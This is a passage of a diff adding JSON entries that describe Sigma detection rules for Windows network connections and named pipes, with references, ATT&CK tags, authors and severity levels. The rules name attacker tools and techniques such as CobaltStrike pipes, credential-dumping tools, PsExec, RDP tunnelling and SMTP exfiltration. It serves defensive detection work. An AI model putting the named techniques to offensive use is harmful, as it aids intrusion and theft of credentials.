"attack.defense_evasion", + "attack.t1055" + ], + "creation_date": "2020/05/14", + "filename": "net_connection_win_notepad_network_connection.yml", + "author": "EagleEye Team", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Detects a Powershell process that opens network connections - check for suspicious target ports and target systems - adjust to your environment (e.g. extend filters with company's ip range')", + "uuid": "1f21ec3f-810d-4b0e-8045-322202e22b4b", + "value": "PowerShell Network Connections", + "meta": { + "refs": [ + "https://www.youtube.com/watch?v=DLtJTxMWZ2o", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_powershell_network_connection.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2017/03/13", + "filename": "net_connection_win_powershell_network_connection.yml", + "author": "Florian Roth", + "level": "low", + "falsepositive": [ + "Administrative scripts" + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation", + "uuid": "bef0bc5a-b9ae-425d-85c6-7b2d705980c6", + "value": "Python Initiated Connection", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md#atomic-test-4---port-scan-using-python", + "https://pypi.org/project/scapy/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_python.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1046" + ], + "creation_date": "2021/12/10", + "filename": "net_connection_win_python.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate python script" + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Detects svchost hosting RDP termsvcs communicating with the loopback address and on TCP port 3389", + "uuid": "5f699bc5-5446-4a4a-a0b7-5ef2885a3eb4", + "value": "RDP Over Reverse SSH Tunnel", + "meta": { + "refs": [ + "https://twitter.com/SBousseaden/status/1096148422984384514", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_rdp_reverse_tunnel.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1572", + "attack.lateral_movement", + "attack.t1021.001", + "car.2013-07-002" + ], + "creation_date": "2019/02/16", + "filename": "net_connection_win_rdp_reverse_tunnel.yml", + "author": "Samir Bousseaden", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Detects svchost hosting RDP termsvcs communicating to target systems on TCP port 80 or 443", + "uuid": "b1e5da3b-ca8e-4adf-915c-9921f3d85481", + "value": "RDP to HTTP or HTTPS Target Ports", + "meta": { + "refs": [ + "https://twitter.com/tekdefense/status/1519711183162556416?s=12&t=OTsHCBkQOTNs1k3USz65Zg", + "https://www.mandiant.com/resources/bypassing-network-restrictions-through-rdp-tunneling", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_rdp_to_http.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1572", + "attack.lateral_movement", + "attack.t1021.001", + "car.2013-07-002" + ], + "creation_date": "2022/04/29", + "filename": "net_connection_win_rdp_to_http.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Detects network connections and DNS queries initiated by Regsvr32.exe", + "uuid": "c7e91a02-d771-4a6d-a700-42587e0b1095", + "value": "Regsvr32 Network Activity", + "meta": { + "refs": [ + "https://pentestlab.blog/2017/05/11/applocker-bypass-regsvr32/", + "https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_regsvr32_network_activity.yml" + ], + "tags": [ + "attack.execution", + "attack.t1559.001", + "attack.defense_evasion", + "attack.t1218.010" + ], + "creation_date": "2019/10/25", + "filename": "net_connection_win_regsvr32_network_activity.yml", + "author": "Dmitriy Lifanov, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Detects remote PowerShell connections by monitoring network outbound connections to ports 5985 or 5986 from a non-network service account.", + "uuid": "c539afac-c12a-46ed-b1bd-5a5567c9f045", + "value": "Remote PowerShell Session (Network)", + "meta": { + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190511223310.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_remote_powershell_session_network.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001", + "attack.lateral_movement", + "attack.t1021.006" + ], + "creation_date": "2019/09/12", + "filename": "net_connection_win_remote_powershell_session_network.yml", + "author": "Roberto Rodriguez @Cyb3rWard0g", + "level": "high", + "falsepositive": [ + "Legitimate usage of remote PowerShell, e.g. remote administration and monitoring.", + "Network Service user name of a not-covered localization" + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Detects a rundll32 that communicates with public IP addresses", + "uuid": "cdc8da7d-c303-42f8-b08c-b4ab47230263", + "value": "Rundll32 Internet Connection", + "meta": { + "refs": [ + "https://www.hybrid-analysis.com/sample/759fb4c0091a78c5ee035715afe3084686a8493f39014aea72dae36869de9ff6?environmentId=100", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_rundll32_net_connections.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.011", + "attack.execution" + ], + "creation_date": "2017/11/04", + "filename": "net_connection_win_rundll32_net_connections.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Communication to other corporate systems that use IP addresses from public address spaces" + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Detects a script interpreter wscript/cscript opening a network connection. Adversaries may use script to download malicious payloads.", + "uuid": "08249dc0-a28d-4555-8ba5-9255a198e08c", + "value": "Script Initiated Connection", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/28d190330fe44de6ff4767fc400cc10fa7cd6540/atomics/T1105/T1105.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_script.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ], + "creation_date": "2022/08/28", + "filename": "net_connection_win_script.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate scripts" + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Detects a script interpreter wscript/cscript opening a network connection to a non-local network. Adversaries may use script to download malicious payloads.", + "uuid": "992a6cae-db6a-43c8-9cec-76d7195c96fc", + "value": "Script Initiated Connection to Non-Local Network", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/28d190330fe44de6ff4767fc400cc10fa7cd6540/atomics/T1105/T1105.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_script_wan.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ], + "creation_date": "2022/08/28", + "filename": "net_connection_win_script_wan.yml", + "author": "frack113, Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate scripts" + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Detects a possible remote connections to Silenttrinity c2", + "uuid": "50e54b8d-ad73-43f8-96a1-5191685b17a4", + "value": "Silenttrinity Stager Msbuild Activity", + "meta": { + "refs": [ + "https://www.blackhillsinfosec.com/my-first-joyride-with-silenttrinity/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_silenttrinity_stager_msbuild_activity.yml" + ], + "tags": [ + "attack.execution", + "attack.t1127.001" + ], + "creation_date": "2020/10/11", + "filename": "net_connection_win_silenttrinity_stager_msbuild_activity.yml", + "author": "Kiran kumar s, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious network connections made by a well-known Windows binary run with no command line parameters", + "uuid": "20384606-a124-4fec-acbb-8bd373728613", + "value": "Suspicious Network Connection Binary No CommandLine", + "meta": { + "refs": [ + "https://redcanary.com/blog/raspberry-robin/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_binary_no_cmdline.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2022/07/03", + "filename": "net_connection_win_susp_binary_no_cmdline.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious network connection by Cmstp", + "uuid": "efafe0bf-4238-479e-af8f-797bd3490d2d", + "value": "Cmstp Making Network Connection", + "meta": { + "refs": [ + "https://web.archive.org/web/20190720093911/http://www.endurant.io/cmstp/detecting-cmstp-enabled-code-execution-and-uac-bypass-with-sysmon/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_cmstp.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.003" + ], + "creation_date": "2022/08/30", + "filename": "net_connection_win_susp_cmstp.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Detects an executable that isn't dropbox but communicates with the Dropbox API", + "uuid": "25eabf56-22f0-4915-a1ed-056b8dae0a68", + "value": "Suspicious Dropbox API Usage", + "meta": { + "refs": [ + "https://app.any.run/tasks/7e906adc-9d11-447f-8641-5f40375ecebb", + "https://www.zscaler.com/blogs/security-research/new-espionage-attack-molerats-apt-targeting-users-middle-east", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_dropbox_api.yml" + ], + "tags": "No established tags", + "creation_date": "2022/04/20", + "filename": "net_connection_win_susp_dropbox_api.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate use of the API with a tool that the author wasn't aware of" + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious \"epmap\" connection to a remote computer via remote procedure call (RPC)", + "uuid": "628d7a0b-7b84-4466-8552-e6138bc03b43", + "value": "Suspicious Epmap Connection", + "meta": { + "refs": [ + "https://github.com/RiccardoAncarani/TaskShell/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_epmap.yml" + ], + "tags": [ + "attack.lateral_movement" + ], + "creation_date": "2022/07/14", + "filename": "net_connection_win_susp_epmap.yml", + "author": "frack113, Tim Shelton (fps)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious outbound network activity via kerberos default port indicating possible lateral movement or first stage PrivEsc via delegation.", + "uuid": "e54979bd-c5f9-4d6c-967b-a04b19ac4c74", + "value": "Suspicious Outbound Kerberos Connection", + "meta": { + "refs": [ + "https://github.com/GhostPack/Rubeus", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_outbound_kerberos_connection.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1558", + "attack.lateral_movement", + "attack.t1550.003" + ], + "creation_date": "2019/10/24", + "filename": "net_connection_win_susp_outbound_kerberos_connection.yml", + "author": "Ilyas Ochkov, oscd.community", + "level": "high", + "falsepositive": [ + "Other browsers" + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious connections from Microsoft Sync Center to non-private IPs.", + "uuid": "9f2cc74d-78af-4eb2-bb64-9cd1d292b87b", + "value": "Microsoft Sync Center Suspicious Network Connections", + "meta": { + "refs": [ + "https://redcanary.com/blog/intelligence-insights-november-2021/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_outbound_mobsync_connection.yml" + ], + "tags": [ + "attack.t1055", + "attack.t1218", + "attack.execution", + "attack.defense_evasion" + ], + "creation_date": "2022/04/28", + "filename": "net_connection_win_susp_outbound_mobsync_connection.yml", + "author": "elhoim", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel.\nThe data may also be sent to an alternate network location from the main command and control server.\n", + "uuid": "9976fa64-2804-423c-8a5b-646ade840773", + "value": "Suspicious Outbound SMTP Connections", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1048.003/T1048.003.md#atomic-test-5---exfiltration-over-alternative-protocol---smtp", + "https://www.ietf.org/rfc/rfc2821.txt", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_outbound_smtp_connections.yml" + ], + "tags": [ + "attack.exfiltration", + "attack.t1048.003" + ], + "creation_date": "2022/01/07", + "filename": "net_connection_win_susp_outbound_smtp_connections.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Other SMTP tools" + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Detects programs with network connections running in suspicious files system locations", + "uuid": "7b434893-c57d-4f41-908d-6a17bf1ae98f", + "value": "Suspicious Program Location with Network Connections", + "meta": { + "refs": [ + "https://docs.google.com/spreadsheets/d/17pSTDNpa0sf6pHeRhusvWG6rThciE8CsXTSlDUAZDyo", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_prog_location_network_connection.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ], + "creation_date": "2017/03/19", + "filename": "net_connection_win_susp_prog_location_network_connection.yml", + "author": "Florian Roth, Tim Shelton", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Detects Non-Standard Tools Connecting to TCP port 3389 indicating possible lateral movement", + "uuid": "ed74fe75-7594-4b4b-ae38-e38e3fd2eb23", + "value": "Suspicious Outbound RDP Connections", + "meta": { + "refs": [ + "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_susp_rdp.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.001", + "car.2013-07-002" + ], + "creation_date": "2019/05/15", + "filename": "net_connection_win_susp_rdp.yml", + "author": "Markus Neis", + "level": "high", + "falsepositive": [ + "Other Remote Desktop RDP tools", + "Domain controller using dns.exe" + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of the Windows Update Client binary (wuauclt.exe) to proxy execute code and making a network connections.\nOne could easily make the DLL spawn a new process and inject to it to proxy the network connection and bypass this rule.\n", + "uuid": "c649a6c7-cd8c-4a78-9c04-000fc76df954", + "value": "Wuauclt Network Connection", + "meta": { + "refs": [ + "https://dtm.uk/wuauclt/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_wuauclt_network_connection.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2020/10/12", + "filename": "net_connection_win_wuauclt_network_connection.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "medium", + "falsepositive": [ + "Legitimate use of wuauclt.exe over the network." + ], + "logsource.category": "network_connection", + "logsource.product": "windows" + } + }, + { + "description": "Detects alternate PowerShell hosts potentially bypassing detections looking for powershell.exe", + "uuid": "58cb02d5-78ce-4692-b3e1-dce850aae41a", + "value": "Alternate PowerShell Hosts Pipe", + "meta": { + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190815181010.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_alternate_powershell_hosts_pipe.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2019/09/12", + "filename": "pipe_created_alternate_powershell_hosts_pipe.yml", + "author": "Roberto Rodriguez @Cyb3rWard0g, Tim Shelton", + "level": "medium", + "falsepositive": [ + "Programs using PowerShell directly without invocation of a dedicated interpreter." + ], + "logsource.category": "pipe_created", + "logsource.product": "windows" + } + }, + { + "description": "Detects a named pipe used by Turla group samples", + "uuid": "739915e4-1e70-4778-8b8a-17db02f66db1", + "value": "Turla Group Named Pipes", + "meta": { + "refs": [ + "Internal Research", + "https://attack.mitre.org/groups/G0010/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_apt_turla_namedpipes.yml" + ], + "tags": [ + "attack.g0010", + "attack.execution", + "attack.t1106" + ], + "creation_date": "2017/11/06", + "filename": "pipe_created_apt_turla_namedpipes.yml", + "author": "Markus Neis", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "pipe_created", + "logsource.product": "windows" + } + }, + { + "description": "Detects well-known credential dumping tools execution via specific named pipes", + "uuid": "961d0ba2-3eea-4303-a930-2cf78bbfcc5e", + "value": "Cred Dump-Tools Named Pipes", + "meta": { + "refs": [ + "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_cred_dump_tools_named_pipes.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001", + "attack.t1003.002", + "attack.t1003.004", + "attack.t1003.005" + ], + "creation_date": "2019/11/01", + "filename": "pipe_created_cred_dump_tools_named_pipes.yml", + "author": "Teymur Kheirkhabarov, oscd.community", + "level": "critical", + "falsepositive": [ + "Legitimate Administrator using tool for password recovery" + ], + "logsource.category": "pipe_created", + "logsource.product": "windows" + } + }, + { + "description": "Detects creation of default named pipe used by the DiagTrackEoP POC", + "uuid": "1f7025a6-e747-4130-aac4-961eb47015f1", + "value": "DiagTrackEoP Default Named Pipe", + "meta": { + "refs": [ + "https://github.com/Wh04m1001/DiagTrackEoP/blob/3a2fc99c9700623eb7dc7d4b5f314fd9ce5ef51f/main.cpp#L22", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_diagtrack_eop_default_pipe.yml" + ], + "tags": [ + "attack.privilege_escalation" + ], + "creation_date": "2022/08/03", + "filename": "pipe_created_diagtrack_eop_default_pipe.yml", + "author": "Nasreddine Bencherchali", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "pipe_created", + "logsource.product": "windows" + } + }, + { + "description": "Detects the pattern of a pipe name as used by the tool EfsPotato", + "uuid": "637f689e-b4a5-4a86-be0e-0100a0a33ba2", + "value": "EfsPotato Named Pipe", + "meta": { + "refs": [ + "https://twitter.com/SBousseaden/status/1429530155291193354?s=20", + "https://github.com/zcgonvh/EfsPotato", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_efspotato_namedpipe.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1055" + ], + "creation_date": "2021/08/23", + "filename": "pipe_created_efspotato_namedpipe.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "pipe_created", + "logsource.product": "windows" + } + }, + { + "description": "Detects creation of default named pipes used by the Koh tool", + "uuid": "0adc67e0-a68f-4ffd-9c43-28905aad5d6a", + "value": "Koh Default Named Pipes", + "meta": { + "refs": [ + "https://github.com/GhostPack/Koh/blob/0283d9f3f91cf74732ad377821986cfcb088e20a/Clients/BOF/KohClient.c#L12", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_koh_default_pipe.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.credential_access", + "attack.t1528", + "attack.t1134.001" + ], + "creation_date": "2022/07/08", + "filename": "pipe_created_koh_default_pipe.yml", + "author": "Nasreddine Bencherchali", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "pipe_created", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of a named pipe as used by CobaltStrike", + "uuid": "d5601f8c-b26f-4ab0-9035-69e11a8d4ad2", + "value": "CobaltStrike Named Pipe", + "meta": { + "refs": [ + "https://twitter.com/d4rksystem/status/1357010969264873472", + "https://labs.f-secure.com/blog/detecting-cobalt-strike-default-modules-via-named-pipe-analysis/", + "https://github.com/Neo23x0/sigma/issues/253", + "https://blog.cobaltstrike.com/2021/02/09/learn-pipe-fitting-for-all-of-your-offense-projects/", + "https://redcanary.com/threat-detection-report/threats/cobalt-strike/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_mal_cobaltstrike.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1055" + ], + "creation_date": "2021/05/25", + "filename": "pipe_created_mal_cobaltstrike.yml", + "author": "Florian Roth, Wojciech Lesicki", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "pipe_created", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of a named pipe matching a pattern used by CobaltStrike Malleable C2 profiles", + "uuid": "0e7163d4-9e19-4fa7-9be6-000c61aad77a", + "value": "CobaltStrike Named Pipe Pattern Regex", + "meta": { + "refs": [ + "https://svch0st.medium.com/guide-to-named-pipes-and-hunting-for-cobalt-strike-pipes-dc46b2c5f575", + "https://gist.github.com/MHaggis/6c600e524045a6d49c35291a21e10752", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_mal_cobaltstrike_re.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1055" + ], + "creation_date": "2021/07/30", + "filename": "pipe_created_mal_cobaltstrike_re.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "pipe_created", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of a named pipe used by known APT malware", + "uuid": "fe3ac066-98bb-432a-b1e7-a5229cb39d4a", + "value": "Malicious Named Pipe", + "meta": { + "refs": [ + "https://securelist.com/wild-neutron-economic-espionage-threat-actor-returns-with-new-tricks/71275/", + "https://securelist.com/faq-the-projectsauron-apt/75533/", + "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf", + "https://www.us-cert.gov/ncas/alerts/TA17-117A", + "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html", + "https://thedfirreport.com/2020/06/21/snatch-ransomware/", + "https://github.com/RiccardoAncarani/LiquidSnake", + "https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar19-304a", + "https://download.bitdefender.com/resources/files/News/CaseStudies/study/115/Bitdefender-Whitepaper-PAC-A4-en-EN1.pdf", + "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/", + "https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_mal_namedpipes.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1055" + ], + "creation_date": "2017/11/06", + "filename": "pipe_created_mal_namedpipes.yml", + "author": "Florian Roth, blueteam0ps, elhoim", + "level": "critical", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "pipe_created", + "logsource.product": "windows" + } + }, + { + "description": "Detects PAExec default named pipe", + "uuid": "f6451de4-df0a-41fa-8d72-b39f54a08db5", + "value": "PAExec Default Named Pipe", + "meta": { + "refs": [ + "https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/blob/efa17a600b43c897b4b7463cc8541daa1987eeb4/Command%20and%20Control/C2-NamedPipe.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_paexec_default_pipe.yml" + ], + "tags": [ + "attack.execution", + "attack.t1569.002" + ], + "creation_date": "2022/10/26", + "filename": "pipe_created_paexec_default_pipe.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "pipe_created", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of PowerShell via creation of named pipe starting with PSHost", + "uuid": "ac7102b4-9e1e-4802-9b4f-17c5524c015c", + "value": "PowerShell Execution Via Named Pipe", + "meta": { + "refs": [ + "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190410151110.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_powershell_execution_pipe.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2019/09/12", + "filename": "pipe_created_powershell_execution_pipe.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "informational", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "pipe_created", + "logsource.product": "windows" + } + }, + { + "description": "Detects PsExec service installation and execution events (service and Sysmon)", + "uuid": "f3f3a972-f982-40ad-b63c-bca6afdfad7c", + "value": "PsExec Default Named Pipe", + "meta": { + "refs": [ + "https://www.jpcert.or.jp/english/pub/sr/ir_research.html", + "https://jpcertcc.github.io/ToolAnalysisResultSheet", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_psexec_default_pipe.yml" + ], + "tags": [ + "attack.execution", + "attack.t1569.002", + "attack.s0029" + ], + "creation_date": "2017/06/12", + "filename": "pipe_created_psexec_default_pipe.yml", + "author": "Thomas Patzke", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "pipe_created", + "logsource.product": "windows" + } + }, + { + "description": "Detects PsExec default pipe creation where the image executed is located in a suspicious location. Which could indicate that the tool is being used in an attack", + "uuid": "41504465-5e3a-4a5b-a5b4-2a0baadd4463", + "value": "PsExec Tool Execution From Suspicious Locations - PipeName", + "meta": { + "refs": [ + "https://www.jpcert.or.jp/english/pub/sr/ir_research.html", + "https://jpcertcc.github.io/ToolAnalysisResultSheet", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_psexec_default_pipe_from_susp_location.yml" + ], + "tags": [ + "attack.execution", + "attack.t1569.002", + "attack.s0029" + ], + "creation_date": "2022/08/04", + "filename": "pipe_created_psexec_default_pipe_from_susp_location.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Rare legitimate use of psexec from the locations mentioned above" + ], + "logsource.category": "pipe_created", + "logsource.product": "windows" + } + }, + { + "description": "Detecting use PsExec via Pipe Creation/Access to pipes", + "uuid": "9e77ed63-2ecf-4c7b-b09d-640834882028", + "value": "PsExec Pipes Artifacts", + "meta": { + "refs": [ + "https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_psexec_pipes_artifacts.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1021.002", + "attack.execution", + "attack.t1569.002" + ], + "creation_date": "2020/05/10", + "filename": "pipe_created_psexec_pipes_artifacts.yml", + "author": "Nikita Nazarov, oscd.community", + "level": "medium", + "falsepositive": [ + "Legitimate Administrator activity" + ], + "logsource.category": "pipe_created", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious local connections via a named pipe to the AD FS configuration database (Windows Internal Database).\nUsed to access information such as the AD FS configuration settings which contains sensitive information used to sign SAML tokens.\n", + "uuid": "1ea13e8c-03ea-409b-877d-ce5c3d2c1cb3", + "value": "ADFS Database Named Pipe Connection", + "meta": { + "refs": [ + "https://github.com/Azure/Azure-Sentinel/blob/f99542b94afe0ad2f19a82cc08262e7ac8e1428e/Detections/SecurityEvent/ADFSDBNamedPipeConnection.yaml", + "https://o365blog.com/post/adfs/", + "https://github.com/Azure/SimuLand", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_susp_adfs_namedpipe_connection.yml" + ], + "tags": [ + "attack.collection", + "attack.t1005" + ], + "creation_date": "2021/10/08", + "filename": "pipe_created_susp_adfs_namedpipe_connection.yml", + "author": "Roberto Rodriguez @Cyb3rWard0g", + "level": "high", + "falsepositive": [ + "Processes in the filter condition" + ], + "logsource.category": "pipe_created", + "logsource.product": "windows" + } + }, + { + "description": "Detects the creation of a named pipe with a pattern found in CobaltStrike malleable C2 profiles", + "uuid": "85adeb13-4fc9-4e68-8a4a-c7cb2c336eb7", + "value": "CobaltStrike Named Pipe Patterns", + "meta": { + "refs": [ + "https://svch0st.medium.com/guide-to-named-pipes-and-hunting-for-cobalt-strike-pipes-dc46b2c5f575", + "https://gist.github.com/MHaggis/6c600e524045a6d49c35291a21e10752", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/pipe_created/pipe_created_susp_cobaltstrike_pipe_patterns.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1055" + ], + "creation_date": "2021/07/30", + "filename": "pipe_created_susp_cobaltstrike_pipe_patterns.yml", + "author": "Florian Roth, Christian Burkard", + "level": "high", + "falsepositive": [ + "Chrome instances using the exact same pipe name \"mojo.something\"" + ], + "logsource.category": "pipe_created", + "logsource.product": "windows" + } + }, + { + "description": "Detects the WMI Event Consumer service scrcons.exe creating a named pipe", + "uuid": "493fb4ab-cdcc-4c4f-818c-0e363bd1e4bb", + "value": "WMI Event Consumer Created Named Pipe", + "meta": { + "refs": [ + "https://github.com/RiccardoAncarani/LiquidSnake", + 